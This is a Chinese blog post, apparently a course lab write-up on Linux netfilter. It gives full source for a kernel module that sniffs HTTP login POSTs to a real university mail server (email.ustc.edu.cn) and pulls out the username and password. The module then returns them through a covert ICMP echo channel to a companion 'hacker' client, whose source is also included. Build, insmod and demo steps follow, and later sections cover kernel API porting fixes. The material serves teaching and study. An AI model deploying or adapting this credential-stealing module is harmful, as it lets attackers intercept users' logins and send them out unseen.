科軟-信息安全實驗2-netfilter實驗

目錄php

一 前言

文章不講解理論知識哈,想學習理論知識的,認真聽課😄,也能夠參考郭老師的講義:信息安全課程 ustcsse308css

對於Linux,我只是個半路闖進來的小白,作實驗過程當中常常會被Linux內核玩得懷疑人生。因此我以爲頗有必要先闡明實驗的環境,以避免各位同窗不當心掉坑裏。固然,若是你就是想爬坑,咱也攔不住😄html

實驗環境 / 工具:linux

你可能用得上的網站:git

相關實驗:github

回到目錄算法

二 Talk is cheap, show me the code

mice端 Makefile:shell

注意:因爲make命令的限制,make -C ... 的前面必須是2個tab(不能將tab轉爲空格) ubuntu

1 obj-m += lcx-nfsniff.o
2 
3 all:
4         make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
5 
6 clean:
7         make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
View Code

mice端 lcx-nfsniff.c:vim

當時也是閒着無聊,本身寫了kmp字符串匹配的函數,其實C語言中提供了strstr()函數能夠實現一樣的效果;

  1 #include <linux/module.h>
  2 #include <linux/kernel.h>
  3 #include <linux/skbuff.h>
  4 #include <linux/in.h>
  5 #include <linux/ip.h>
  6 #include <linux/tcp.h>
  7 #include <linux/icmp.h>
  8 #include <linux/netdevice.h>
  9 #include <linux/netfilter.h>
 10 #include <linux/netfilter_ipv4.h>
 11 #include <linux/if_arp.h>
 12 #include <linux/if_ether.h>
 13 #include <linux/if_packet.h>
 14 
 15 #define MAGIC_CODE 0x77 // ICMP CODE
 16 #define REPLY_SIZE 36   // tartget_ip(4B) + username(16B) + password(16B)
 17 
 18 #define SUCCESS  1
 19 #define FAILURE -1
 20 #define IP_202_38_64_8 138421962 // email.ustc.edu.cn
 21 
 22 static const char *post_uri   = "POST /coremail/index.jsp?cus=1";
 23 static const int post_uri_len = 30;
 24 static const unsigned int target_ip = IP_202_38_64_8;
 25 
 26 static char *username = NULL;
 27 static char *password = NULL;
 28 
 29 static struct nf_hook_ops pre_hook;
 30 static struct nf_hook_ops post_hook;
 31 
 32 /**
 33  * 過濾器:發現我想要的數據包,以下:
 34  * dest_ip:202.38.64.8 (email.ustc.edu.cn)
 35  * tcp_dest_port:80
 36  * POST_URI:POST /coremail/index.jsp?cus=1
 37  *
 38  * @return SUCCESS/FAILURE
 39  * @author southday
 40  * @date 2019.04.14
 41  */
 42 static unsigned int findpkt_iwant(struct sk_buff *skb) {
 43     struct iphdr *ip = NULL;
 44     struct tcphdr *tcp = NULL;
 45     char *data = NULL;
 46     int tcp_payload_len = 0;
 47 
 48     ip = (struct iphdr *)skb_network_header(skb);
 49     if (ip->daddr != IP_202_38_64_8 || ip->protocol != IPPROTO_TCP)
 50         return FAILURE;
 51 
 52     tcp = (struct tcphdr *)skb_transport_header(skb);
 53     tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - (tcp->doff<<2);
 54     data = (char *)((char *)tcp + (tcp->doff<<2));
 55     if (tcp->dest != htons(80)
 56         || tcp_payload_len < post_uri_len
 57         || strncmp(data, post_uri, post_uri_len) != 0) { 
 58         return FAILURE;
 59     }
 60     printk("--------------- findpkt_iwant ------------------\n");
 61     printk("ip_hdrlen:         %d\n", (ip->ihl<<2));
 62     printk("tcp_hdrlen:        %d\n", (tcp->doff<<2));
 63     printk("ip_total_len:      %d\n", ntohs(ip->tot_len));
 64     printk("tcp_payload_len:   %d\n", tcp_payload_len);
 65     printk("ip_addr:        0x%p\n", ip);
 66     printk("tcp_addr:       0x%p\n", tcp);
 67     printk("tcp_data_addr:  0x%p\n", data);
 68     printk("hex : data[0-3] = 0x%02x%02x%02x%02x\n", data[0], data[1], data[2], data[3]);
 69     printk("char: data[0-3] = %c%c%c%c\n", data[0], data[1], data[2], data[3]);
 70     printk("--------------- findpkt_iwant ------------------\n");
 71     return SUCCESS;
 72 }
 73 
 74 /**
 75  * 使用KMP算法進行字符串匹配
 76  * @return 匹配(>=0)/未匹配(-1)
 77  * @author southday
 78  * @date 2019.04.13
 79  */
 80 static int kmp(const char *cs, int cslen, const char *ct, int ctlen) {
 81     int i = 0, j = -1;
 82     int *next = NULL;
 83 
 84     // 1) get next[]
 85     next = (int *)kmalloc(ctlen*sizeof(int), GFP_KERNEL);
 86     if (next == NULL)
 87         return -1;
 88     next[0] = -1, next[1] = 0;
 89     while (i < ctlen) {
 90         if (j == -1 || ct[i] == ct[j]) {
 91             i++, j++;
 92             next[i] = j;
 93         } else {
 94             j = next[j];
 95         }
 96     }
 97     // 2) match
 98     i = 0, j = 0;
 99     while (i < cslen && j < ctlen) {
100         if (j == -1 || cs[i] == ct[j]) {
101             i++, j++;
102         } else {
103             j = next[j];
104         }
105     }
106     kfree(next);
107     next = NULL;
108     return j >= ctlen ? (i - ctlen) : -1;
109 }
110 
111 /**
112  * 從URL的參數中提取key對應的value值
113  * 好比:uid=lichaoxi&password=1234
114  * @param urlparam urlparam的首地址
115  * @param ulen url的長度
116  * @param key 如:uid=,password=
117  * @param klen key的長度(注意後面還有個=號)
118  * @return 成功找到(包含value的字符串首地址)/失敗(NULL)
119  * 
120  * @author southday
121  * @date 2019.04.13
122  */
123 char * fetch_urlparam(char *urlparam, int ulen, char *key, int klen) {
124     int index = 0, i = 0;
125     char *value = NULL;
126 
127     if ((index = kmp(urlparam, ulen, key, klen)) == -1)
128         return NULL;
129     urlparam += (index + klen);
130     ulen -= (index + klen);
131     // username, password中自己就可能含有相似'&'這樣須要進行編碼的字符,urlencode('&') = %26
132     // http://www.atool88.com/urlencode.php
133     for (i = 0; i < ulen && urlparam[i] != '&'; i++);
134     if (i >= ulen)
135         return NULL;
136     // i + 1, for the last char '\0'
137     if ((value = (char *)kmalloc(sizeof(char)*(i+1), GFP_KERNEL)) == NULL)
138         return NULL;
139     memcpy(value, urlparam, i);
140     value[i] = '\0';
141     return value;
142 }
143 
144 /**
145  * 從HTTP數據包中抓取 username, password
146  * 在調用該方法前須要先調用 findpkt_iwant()方法進行過濾
147  *
148  * @author southday
149  * @date 2019.04.13
150  */
151 static void fetch_http(struct sk_buff *skb) {
152     struct iphdr *ip = NULL;
153     struct tcphdr *tcp = NULL;
154     char *data = NULL; // tcp data
155     int tcp_payload_len = 0;
156     int i = 0, index = -1;
157     int content_len = 0; // Cotent-Length
158 
159     ip = (struct iphdr *)skb_network_header(skb);
160     tcp = (struct tcphdr *)skb_transport_header(skb);
161     tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - (tcp->doff<<2);
162     data = (char *)tcp + (tcp->doff<<2);
163 
164     // e.g: Content-Length: 77\r\n
165     index = kmp(data, tcp_payload_len, "Content-Length: ", 16);
166     if (index == -1)
167         return;
168     data += (index + 16); // data point to: 77\r\n
169     for (i = 0; data[i] != '\r'; i++)
170         content_len = content_len*10 + ((int)data[i]-'0');
171     // now content_len = 77
172 
173     // data point to layer: HTML Form URL Encode
174     data = (char *)tcp + (tcp->doff<<2) + (tcp_payload_len-content_len);
175     // 1) fetch username
176     username = fetch_urlparam(data, content_len, "uid=", 4);
177     // 2) fetch password
178     password = fetch_urlparam(data, content_len, "password=", 9);
179     if (username == NULL || password == NULL)
180         return;
181     printk("----------------- fetch_http -------------------\n");
182     printk("content_len = %d\n", content_len);
183     printk("urlencode(username): %s\n", username);
184     printk("urlencode(password): %s\n", password);
185     printk("----------------- fetch_http -------------------\n");
186 }
187 
188 /**
189  * 是否已經抓取到一對<用戶名,密碼>
190  * @return 是(1)/否(0)
191  * @author southday
192  * @date 2019.04.14
193  */
194 static int hasPair(void) {
195     return username != NULL && password != NULL;
196 }
197 
198 /**
199  * POST_ROUTING,將數據包發送出去的前一個HOOK點;
200  * 用於監聽本機往外發送的數據包,並從中提取出所需的username,password;
201  * 下面實現的是對於網址 http://email.ustc.edu.cn 的監聽
202  * > nslookup email.ustc.edu.cn => Address: 202.38.64.8
203  *
204  * @author southday
205  * @date 2019.04.13
206  */
207 static unsigned int watch_out(void *priv,
208                               struct sk_buff *skb,
209                               const struct nf_hook_state *state) {
210     if (findpkt_iwant(skb) == FAILURE)
211         return NF_ACCEPT;
212     printk("findpkt_iwant ====> SUCCESS\n");
213     if (!hasPair())
214         fetch_http(skb);
215     return NF_ACCEPT;
216 }
217 
218 /**
219 * PRE_ROUTING,接收數據包的第一個HOOK點;
220 * 用於監聽本機接收的數據包,若爲hacker想要獲取數據而發來的指定ICMP_ECHO數據包(icmp->code=0x77),
221 * 則將tager_ip, username, password拷貝到原ICMP包的數據部分,而後返回給hacker;
222 *
223 * @author southday
224 * @date 2019.04.14
225 */
226 static unsigned int watch_in(void *priv,
227                              struct sk_buff *skb,
228                              const struct nf_hook_state *state) {
229     struct iphdr *ip = NULL;
230     struct icmphdr *icmp = NULL;
231     int icmp_payload_len = 0;
232     char *cp_data = NULL; // copy pointer
233     unsigned int temp_ipaddr; // temporary ip holder for swap ip (saddr <-> daddr)
234 
235     ip = (struct iphdr *)skb_network_header(skb);
236     if (!hasPair() || ip->protocol != IPPROTO_ICMP)
237         return NF_ACCEPT;
238 
239     icmp = (struct icmphdr *)((char *)ip + (ip->ihl<<2));
240     // 最後8字節爲 ICMP首部長度
241     icmp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - 8;
242     if (icmp->code != MAGIC_CODE
243         || icmp->type != ICMP_ECHO
244         || icmp_payload_len < REPLY_SIZE) {
245         return NF_ACCEPT;
246     }
247 
248     // 由於要往回發包,因此交換源、目的IP
249     temp_ipaddr = ip->saddr;
250     ip->saddr = ip->daddr;
251     ip->daddr = temp_ipaddr;
252 
253     skb->pkt_type = PACKET_OUTGOING;
254     switch (skb->dev->type) {
255         case ARPHRD_PPP: break;
256         case ARPHRD_LOOPBACK:
257         case ARPHRD_ETHER: {
258             unsigned char temp_hwaddr[ETH_ALEN];
259             struct ethhdr *eth = NULL;
260             // Move the data pointer to point to the link layer header
261             eth = (struct ethhdr *)eth_hdr(skb);
262             skb->data = (unsigned char*)eth;
263             skb->len += ETH_HLEN; // 14, sizeof(skb->mac.ethernet);
264             memcpy(temp_hwaddr, eth->h_dest, ETH_ALEN);
265             memcpy(eth->h_dest, eth->h_source, ETH_ALEN);
266             memcpy(eth->h_source, temp_hwaddr, ETH_ALEN);
267             break;
268         }
269     }
270 
271     // copy target_ip, username, password into packet
272     cp_data = (char *)icmp + 8;
273     memcpy(cp_data, &target_ip, 4);
274     memcpy(cp_data+4, username, 16);
275     memcpy(cp_data+20, password, 16);
276 
277     printk("watch_in STOLEN ====> SUCCESS\n");
278     printk("urlencode(username): %s\n", username);
279     printk("urlencode(password): %s\n", password);
280     dev_queue_xmit(skb); // 發送數據幀
281     kfree(username);
282     kfree(password);
283     username = password = NULL;
284     return NF_STOLEN;
285 }
286 
287 int init_module(void) {
288     pre_hook.hook = watch_in;
289     pre_hook.pf = PF_INET;
290     pre_hook.hooknum = NF_INET_PRE_ROUTING;
291     pre_hook.priority = NF_IP_PRI_FIRST;
292     nf_register_net_hook(&init_net, &pre_hook);
293 
294     post_hook.hook = watch_out;
295     post_hook.pf = PF_INET;
296     post_hook.hooknum = NF_INET_POST_ROUTING;
297     post_hook.priority = NF_IP_PRI_FIRST;
298     nf_register_net_hook(&init_net, &post_hook);
299     printk("init_module\n");
300     return 0;
301 }
302 
303 void cleanup_module(void) {
304     nf_unregister_net_hook(&init_net, &pre_hook);
305     nf_unregister_net_hook(&init_net, &post_hook);
306     printk("cleanup_module\n");
307 }
View Code

hacker端 lcx-getpass.c:

  1 #include<stdlib.h>
  2 #include<stdio.h>
  3 #include<string.h>
  4 #include<unistd.h>
  5 #include<sys/types.h>
  6 #include<sys/socket.h>
  7 #include<netinet/in.h>
  8 #include<netinet/ip_icmp.h>
  9 #include<linux/if_ether.h>
 10 #include<arpa/inet.h>
 11  
 12 #define BUFF_SIZE  256
 13 #define SUCCESS    1
 14 #define FAILURE    -1
 15 #define MAGIC_CODE 0x77 // ICMP ECHO CODE
 16 
 17 struct sockaddr_in remoteip;
 18 struct in_addr server_addr;
 19 int recvsockfd = -1;
 20 int sendsockfd = -1;
 21 unsigned char recvbuff[BUFF_SIZE];
 22 unsigned char sendbuff[BUFF_SIZE];
 23 
 24 int load_args(const int argc, char **);
 25 void print_cmdprompt();
 26 int send_icmp_request();
 27 int recv_icmp_reply();
 28 unsigned short cksum(unsigned short *, int len);
 29 void print_ippacket_inbyte(unsigned char *);
 30 
 31 int main(int argc, char **argv) {
 32     if (load_args(argc, argv) < 0) {
 33         printf("command format error!\n");
 34         print_cmdprompt();
 35         return FAILURE;
 36     }
 37     recvsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
 38     sendsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
 39     if (recvsockfd < 0 || sendsockfd < 0) {
 40         perror("socket creation error");
 41         return FAILURE;
 42     }
 43     printf("lcx-getpass running...\n");
 44     // 1) 發送ICMP ECHO 回送請求報文
 45     send_icmp_request();
 46     // 2) 接收ICMP ECHO 回送回答報文
 47     recv_icmp_reply();
 48     close(sendsockfd);
 49     close(recvsockfd);
 50     return 0;
 51 }
 52 
 53 /**
 54  * 命令:lcx-getpass 192.168.23.131
 55  * 載入參數:192.168.23.131,表示受害者主機IP地址
 56  *
 57  * @author southday
 58  * @date 2019.04.14
 59  */
 60 int load_args(const int argc, char *argv[]) {
 61     if (argc != 2 || inet_aton(argv[1], &remoteip.sin_addr) == 0)
 62         return FAILURE;
 63     return SUCCESS;
 64 }
 65 
 66 /**
 67  * 打印命令提示信息
 68  * @author southday
 69  * @date 2019.04.14
 70  */
 71 void print_cmdprompt() {
 72     printf("\nlcx-getpass [remoteip]\n\n");
 73     printf("\t    [remoteip]       Victim host IP address, eg: 192.168.23.131\n");
 74 }
 75 
 76 /**
 77  * 發送ICMP回送請求報文
 78  * @author southday
 79  * @date 2019.04.14
 80  */
 81 int send_icmp_request() {
 82     bzero(sendbuff, BUFF_SIZE);
 83     // 構造ICMP ECHO首部
 84     struct icmp *icmp = (struct icmp *)sendbuff;
 85     icmp->icmp_type = ICMP_ECHO; // ICMP_ECHO 8
 86     icmp->icmp_code = MAGIC_CODE;
 87     icmp->icmp_cksum = 0;
 88     // 計算ICMP校驗和,涉及首部和數據部分,包括:8B(ICMP ECHO首部) + 36B(4B(target_ip)+16B(username)+16B(password))
 89     icmp->icmp_cksum = cksum((unsigned short *)icmp, 8 + 36);
 90 
 91     printf("sending request........\n");
 92     int ret = sendto(sendsockfd, sendbuff, 44, 0, (struct sockaddr *)&remoteip, sizeof(remoteip));
 93     if (ret < 0) {
 94         perror("send error");
 95     } else {
 96         printf("send a icmp echo request packet!\n\n");
 97     }
 98     return SUCCESS;
 99 }
100 
101 /**
102  * 接收ICMP回送回答報文
103  * @author southday
104  * @date 2019.04.14
105  */
106 int recv_icmp_reply() {
107     bzero(recvbuff, BUFF_SIZE);
108     printf("waiting for reply......\n");
109     if (recv(recvsockfd, recvbuff, BUFF_SIZE, 0) < 0) {
110         printf("failed getting reply packet\n");
111         return FAILURE;
112     }
113     struct icmphdr *icmp = (struct icmphdr *)(recvbuff + 20);
114     memcpy(&server_addr, (char *)icmp+8, 4);
115     // 打印IP包字節數據,便於調試
116     print_ippacket_inbyte(recvbuff);
117     printf("stolen from http server: %s\n", inet_ntoa(server_addr));
118     printf("username: %s\n", (char *)((char *)icmp + 12));
119     printf("password: %s\n", (char *)((char *)icmp + 28));
120     return SUCCESS;
121 }
122 
123 /**
124  * 計算校驗和
125  *   1) IP:IP首部
126  *   2) ICMP:首部+數據
127  * @param *addr 開始計算校驗和的入口地址
128  * @param len 計算校驗和所使用的數據長度,單位Byte
129  * @return 16位的校驗和
130  *
131  * @author southday
132  * @date 2019.03.29
133  */
134 unsigned short cksum(unsigned short *addr, int len) {
135     int sum = 0;
136     unsigned short res = 0;
137     /* len -= 2,由於 sizeof(unsigned short) = 2;
138      * sum += *(addr++),每次偏移2Byte
139      */
140     for (; len > 1; sum += *(addr++), len -= 2);
141     // 每次處理2Byte,可能會存在多餘的1Byte
142     sum += len == 1 ? *addr : 0;
143     // sum:高16位 + 低16位,高16位中存在可能的進位
144     sum = (sum >> 16) + (sum & 0xffff);
145     // sum + sum的高16位,高16位中存在可能的進位
146     sum += (sum >> 16);
147     // 通過2次對高16位中可能存在的進位進行處理,便可確保sum高16位中再無進位
148     res = ~sum;
149     return res;
150 }
151 
152 /**
153  * 以單字節形式打印IP數據包,包括首部和數據部分,而且模仿wireshark的格式,便於調試
154  * @author southday
155  * @date 2019.04.14
156  */
157 void print_ippacket_inbyte(unsigned char *ipbuff) {
158     struct ip *ip = (struct ip *)ipbuff;
159     printf("                                              %02x %02x", ipbuff[0], ipbuff[1]);
160     for (int i = 0, len = ntohs(ip->ip_len)-2; i < len; i++) {
161         if (i % 16 == 0)
162             printf("\n");
163         if (i % 8 == 0)
164             printf("  ");
165         printf("%02x ", ipbuff[i+2]);
166     }
167     printf("\n");
168 }
View Code

回到目錄

三 前期準備

1 登陸 http://email.ustc.edu.cn/,使用Wireshark抓包

2 Wireshark抓包分析,能夠獲取如下信息:

  • 服務器IP:202.38.64.8
  • URL中用戶名的key爲:uid,密碼的key爲:password
  • 使用POST提交請求,POST /coremail/index.jsp?cus=1 HTTP/1.1 \r\n
  • Content-Length:89\r\n

3 過濾條件中IP地址的處理

內核中沒有相似 inet_ntoa(),inet_aton() 的函數,因此要過濾指定目的IP,我選擇了直接匹配十進制數字的方法;我在 hook 中打印了一下 ip->addr,能夠看到:
  • 在wireshark中:202.38.64.8 對應的16進制是:0xca264008,順序匹配;
  • 在內核 ip->daddr中:202.38.64.8 對應的16進制是:0x084026ca,順序相反;
lcx@ubuntu:~/Documents/InfoSec/E2/lcx$ tail -f /var/log/syslog
Apr 12 20:03:44 ubuntu kernel: [ 4940.501069] dest_ip(hex): 0x84026ca
Apr 12 20:03:44 ubuntu kernel: [ 4940.501301] watch_in!
Apr 12 20:03:53 ubuntu kernel: [ 4949.270321] watch_in!
Apr 12 20:03:53 ubuntu kernel: [ 4949.270589] dest_ip(dec): 138421962
Apr 12 20:03:53 ubuntu kernel: [ 4949.270590] dest_ip(hex): 0x84026ca
爲了提升效率(實際上是懶得找方法去轉換),我決定在代碼中直接 把「202.38.64.8」轉爲10進制數:138421962,而後直接與 ip->daddr 匹配;

根據以下規則進行過濾:

dest_ip:202.38.64.8 (email.ustc.edu.cn)
tcp_dest_port:80
POST_URI:POST /coremail/index.jsp?cus=1

4 uid,password的獲取

對過濾後的 http 包進行 fetch,從中抓取出 uid,password;
1)注意觀察wireshark中抓取的 http 數據包,其中有好幾個層次:IP -> TCP -> HTTP -> HTML Form URL Encoded;
2)咱們要抓取的 uid 和 password 在最後一個層次中(HTTP -> HTML Form URL Encoded);
3)因此必須把指針移動到相應的位置,才能開始字符串匹配(這樣效率高一些);
4)根據 iphdr,tcphdr,能夠獲取到:ip_hdr_len、ip_total_len、tcp_hdr_len;經過計算就能夠把 *data 指針移動到 TCP 的數據開始位置;(data = tcp_addr + tcp_hdr_len)
5)如今 *data 指向的是 HTTP 層次,那麼如何將 *data 移動到 HFUE 層次呢?繼續觀察 wireshark 抓的包:
6)能夠發現,在HTTP層次中有一個參數:Content-Length: 89\r\n,這個 89 表明的就是後面 HFUE 層次所佔的總字節數;因此只要咱們能獲取到這個 content_len,那麼就能夠經過 tcp_addr + tcp_hdr_len + (tcp_payload_len - content_len) 來得到指向 HFUE 層次的 *data 指針;
7)接下來就能夠進行字符串匹配工做,去獲取:uid、password;

5 關於URL的編碼問題

捕獲到的 password爲:1234%2656%E4%BD%A0%E5%A5%BD
個人想法是:

1)lcx-nfsniff.c 裏直接原樣傳輸給 hacker端,而後 getpass.c 中進行URL解碼:1234&56你好;(不過找了一些資料,本身實現起來有點麻煩,因此仍是先把主要的功能實現,這個問題後期有時間再去解決;(寫博客的時候:好的,我放棄了😂))

2)getpass.c 中也是原樣打印字符串,而後使用在線工具進行解碼如:在線UrlEncode編碼 / UrlDecode解碼(gbk, big5, utf8) - aTool在線工具

6 後續

接下來就是在 watch_in hook 中監聽hacker端發來的 「獲取用戶名密碼(icmp->code=0x77)」(爲何是0x77?由於我喜歡數字7😂) 的 ICMP ECHO 數據包,若是不是該數據包則不進行任何處理;若爲該數據包,則將以前 watch_out hook 中獲取到的 target_ip, username, password 填充到 icmp 的 data 部分,而後返回 NF_STOLEN,表示後面不對該數據包進行處理,這樣就把數據發回給 hacker 端了。

回到目錄

四 效果演示

1 hacker端

1)在 mice端 lcx-nfsniff 未抓取 username,password以前:

2)在 mice端 lcx-nfsniff 抓取到 username,password以後:

3)getpass.sh 就一行代碼,放在可執行程序 lcx-nfsniff 的同層目錄下:

./lcx-getpass 192.168.23.131

2 mice端

1)進入 lcx-nfsniff.c 文件所在目錄,注意:Makefile 文件和 lcx-nfsniff.c 文件在同一個目錄下,不要更改 Makefile 文件的名稱;

2)執行命令:

  • make
  • sudo insmod lcx-nfsniff.ko
  • tail -f /var/log/syslog

3)在網站(http://email.ustc.edu.cn/)中輸入用戶名密碼進行登錄,便可看到抓取的信息;

回到目錄

 五 遇到的問題&解決

下面的內容,一部分是我在看老師講義上的代碼時遇到的問題,另外一部分是我本身DIY時爬過的坑,若是你們直接用我上面提供的代碼,就莫得問題😉(內容僅供參考,不保證正確

老師提供的代碼,在這裏👉 傳送門~

1 由 鉤子函數註冊不了 引發的一系列問題

1.1 implicit declaration of function ‘nf_register_hook’; did you mean ‘nf_register_net_hook’? [-Werror=implicit-function-declaration]

要用 nf_register_net_hook

1.2 error: assignment from incompatible pointer type [-Werror=incompatible-pointer-types]
    post_hook.hook     = watch_out;

注意,我實驗用的Linux 內核是:Linux version 4.18.0-17-generic (buildd@lgw01-amd64-021) (gcc version 7.3.0 (Ubuntu 7.3.0-16ubuntu3)) #18~18.04.1-Ubuntu SMP Fri Mar 15 15:27:12 UTC 2019。而老師實驗用的Linux 內核是2.x版本的,因此老師給的示例代碼 nfsniff.c 和 getpass.c 都須要進行必定的修改。

nfsniff.c 中對應的代碼以下 pre_hook.hook = watch_in; post_hook.hook = watch_out; 兩行代碼報錯):
 1 int init_module() {
 2    pre_hook.hook     = watch_in;
 3    pre_hook.pf       = PF_INET;
 4    pre_hook.priority = NF_IP_PRI_FIRST;
 5    pre_hook.hooknum  = NF_INET_PRE_ROUTING;
 6    
 7    post_hook.hook     = watch_out;
 8    post_hook.pf       = PF_INET;
 9    post_hook.priority = NF_IP_PRI_FIRST;
10    post_hook.hooknum  = NF_INET_POST_ROUTING;
11    
12    nf_register_hook(&pre_hook);
13    nf_register_hook(&post_hook);
14    
15    return 0;
16 }
17 
18 static unsigned int watch_in(unsigned int hooknum,
19                  struct sk_buff *skb,
20                  const struct net_device *in,
21                  const struct net_device *out,
22                  int (*okfn)(struct sk_buff *)) {}
View Code

Linux version 4.18.0-17 的 netfilter.h 中的相關聲明以下:

 1 typedef unsigned int nf_hookfn(void *priv,
 2                    struct sk_buff *skb,
 3                    const struct nf_hook_state *state);
 4 struct nf_hook_ops {
 5     /* User fills in from here down. */
 6     nf_hookfn       *hook;
 7     struct net_device   *dev;
 8     void            *priv;
 9     u_int8_t        pf;
10     unsigned int        hooknum;
11     /* Hooks are ordered in ascending priority. */
12     int         priority;
13 };
14 
15 struct nf_hook_state {
16     unsigned int hook;
17     u_int8_t pf;
18     struct net_device *in;
19     struct net_device *out;
20     struct sock *sk;
21     struct net *net;
22     int (*okfn)(struct net *, struct sock *, struct sk_buff *);
23 };
View Code

能夠看到,參數沒對應上;須要根據新版本的結構體來編寫代碼;

1.3 源碼:nf_register_net_hook(&pre_hook); 報錯

In file included from /home/lcx/Documents/InfoSec/E2/yan/nfsniff.c:9:0:
./include/linux/netfilter.h:167:5: note: expected ‘struct net *’ but argument is of type ‘struct nf_hook_ops *’
int nf_register_net_hook(struct net *net, const struct nf_hook_ops *ops);
     ^~~~~~~~~~~~~~~~~~~~
/home/lcx/Documents/InfoSec/E2/yan/nfsniff.c:250:4: error: too few arguments to function ‘nf_register_net_hook’ nf_register_net_hook(&post_hook);
    ^~~~~~~~~~~~~~~~~~~~

這個 nf_register_net_hook() 除了 nf_hook_ops * 外,還須要一個 net * 參數,從 linux/netfilter.h 源碼中看到一行代碼,以下:

static inline bool net_has_fallback_tunnels(const struct net *net)
{
    return net == &init_net ||
           !IS_ENABLED(CONFIG_SYSCTL) ||
           !sysctl_fb_tunnels_only_for_init_net;
}

而後我在全文查找了 init_net,並無找到定義的地方,能夠猜到 init_net 是已經在其餘頭文件中定義好的值了,能夠直接使用;因此上面的 nf_register_net_hook() 的第一個參數也應該寫爲:&init_net;

通過查找源碼,發現確實在 <net/net_namespace.h> 中引用了變量 init_net;

在 /net/core/net_namespace.c 中 init_net 定義以下:
struct net init_net = {
    .count      = REFCOUNT_INIT(1),
    .dev_base_head  = LIST_HEAD_INIT(init_net.dev_base_head),
};
EXPORT_SYMBOL(init_net);

問題1.1~1.3的解決能夠參考下面的示例代碼:

 1 #include <linux/module.h>
 2 #include <linux/kernel.h>
 3 #include <linux/skbuff.h>
 4 #include <linux/in.h>
 5 #include <linux/ip.h>
 6 #include <linux/tcp.h>
 7 #include <linux/icmp.h>
 8 #include <linux/netdevice.h>
 9 #include <linux/netfilter.h>
10 #include <linux/netfilter_ipv4.h>
11 #include <linux/if_arp.h>
12 #include <linux/if_ether.h>
13 #include <linux/if_packet.h>
14 
15 static struct nf_hook_ops pre_hook;
16 static struct nf_hook_ops post_hook;
17 
18 static unsigned int watch_in(void *priv,
19                              struct sk_buff *skb,
20                              const struct nf_hook_state *state) {
21     printk("watch_in!\n");
22     return NF_ACCEPT;
23 }
24 
25 static unsigned int watch_out(void *priv,
26                               struct sk_buff *skb,
27                               const struct nf_hook_state *state) {
28     printk("watch_out!\n");
29     return NF_ACCEPT;
30 }
31 
32 int init_module(void) {
33     pre_hook.hook = watch_in;
34     pre_hook.pf = PF_INET;
35     pre_hook.hooknum = NF_INET_PRE_ROUTING;
36     pre_hook.priority = NF_IP_PRI_FIRST;
37     nf_register_net_hook(&init_net, &pre_hook);
38 
39 
40     post_hook.hook = watch_out;
41     post_hook.pf = PF_INET;
42     post_hook.hooknum = NF_INET_POST_ROUTING;
43     post_hook.priority = NF_IP_PRI_FIRST;
44     nf_register_net_hook(&init_net, &post_hook);
45     printk(KERN_INFO "init_module\n");
46     return 0;
47 }
48 
49 void cleanup_module(void) {
50     nf_unregister_net_hook(&init_net, &pre_hook);
51     nf_unregister_net_hook(&init_net, &post_hook);
52     printk(KERN_INFO "cleanup_module\n");
53 }
View Code

1.4 針對 1.1~1.3 的解答,老師可能會就着 hook_func_in 的函數定義來提問相關問題,好比:const struct nf_hook_state *state 這個參數是什麼意思?因此須要弄懂相關函數定義的意思;

static unsigned int watch_out(void *priv,
                              struct sk_buff *skb,
                              const struct nf_hook_state *state) {
    printk("watch_out!\n");
    return NF_ACCEPT;
}
  void *priv,這個參數是幹什麼的,我也不清楚,關於 void *的介紹能夠看這篇文章:C語言中void*詳解及應用
1 struct nf_hook_state {
2     unsigned int hook;        // 掛在哪一個鉤子上(NF_IP_PRE_ROUTING 等五個值中的一個);
3     u_int8_t pf;              // 指定協議族。有效的協議系列可從 linux/socket.h 得到,對於IPv4,要使用 PF_INET;
4     struct net_device *in;    // 用於描述數據包到達的接口,只會爲 NF_IP_PRE_ROUTING 和 NF_IP_LOCAL_IN 掛鉤提供 in;
5     struct net_device *out;   // 用於描述了數據包離開的接口,僅爲 NF_IP_LOCAL_OUT 和 NF_IP_POST_ROUTING 掛鉤提供 out;
6     struct sock *sk;          // 指向擁有本次sk_buff的sock結構的指針;
7     struct net *net;          // 表示一個網絡命名空間;
8     int (*okfn)(struct net *, struct sock *, struct sk_buff *);  // wtf?
9 };
View Code
1)struct net_device *in; | struct net_device *out;
net_device 結構是Linux內核用來描述各類網絡接口的結構,這些結構中的第一個,in用於描述數據包到達的接口,out結構描述了數據包離開的接口。重要的是,要意識到一般只提供這些結構中的一種。例如,只會爲NF_IP_PRE_ROUTING和NF_IP_LOCAL_IN掛鉤提供 in。 僅爲NF_IP_LOCAL_OUT和NF_IP_POST_ROUTING掛鉤提供 out。
2)struct sock *sk;(參考自: Linux:sk_buff徹底剖析與理解
這是一個指向擁有這個sk_buff的sock結構的指針。這個指針在網絡包由本機發出或者由本機進程接收時有效,由於插口相關的信息被L4(TCP或UDP)或者用戶空間程序使用。若是sk_buff只在轉發中使用(這意味着,源地址和目的地址都不是本機地址),這個指針是NULL。
3)struct net *net;(參考自: struct net網絡命名空間
struct net 結構體表示的內核中的網絡命名空間(net_namespace)。在linux內核中,每個網絡設備(struct net_device)都有一個所屬的網絡命名空間。

2 makefile:4: *** missing separator. Stop(https://stackoverflow.com/questions/16931770/makefile4-missing-separator-stop

我以前修改了vim的配置,讓tab自動轉爲4個空格,後來發現執行make命令時報這個錯,緣由是make命令自身的限制,Makefile文件中必須是2個tab(轉爲空格也不行),關於vim配置的更改,執行命令:vim ~/.vimrc,添加以下內容:

 1 " ====================== common settings ====================
 2 "
 3 set hlsearch
 4 set backspace=2
 5 set autoindent
 6 set ruler
 7 set showmode
 8 set nu
 9 set bg=dark
10 " for stupid make command, cancel tab auto 4 spaces
11 " set tabstop=4
12 " set expandtab
13 set softtabstop=4
14 set shiftwidth=4
15 syntax on
16 "
17 " ====================== common settings =====================
View Code

3 if (strncmp(data, "PASS ", 5) == 0) {},strncmp()函數的意思

int strncmp(const char *str1, const char *str2, size_t n)
比較字符串str1和str2的前n個字符。若是前n字節徹底相等,返回值就=0;在前n字節比較過程當中,若是出現 i ( i <= n),str1[i] != str2[i],則返回 str1[i] - str2[i];
4 kmalloc()第2個參數 GFP_KERNEL 的意思
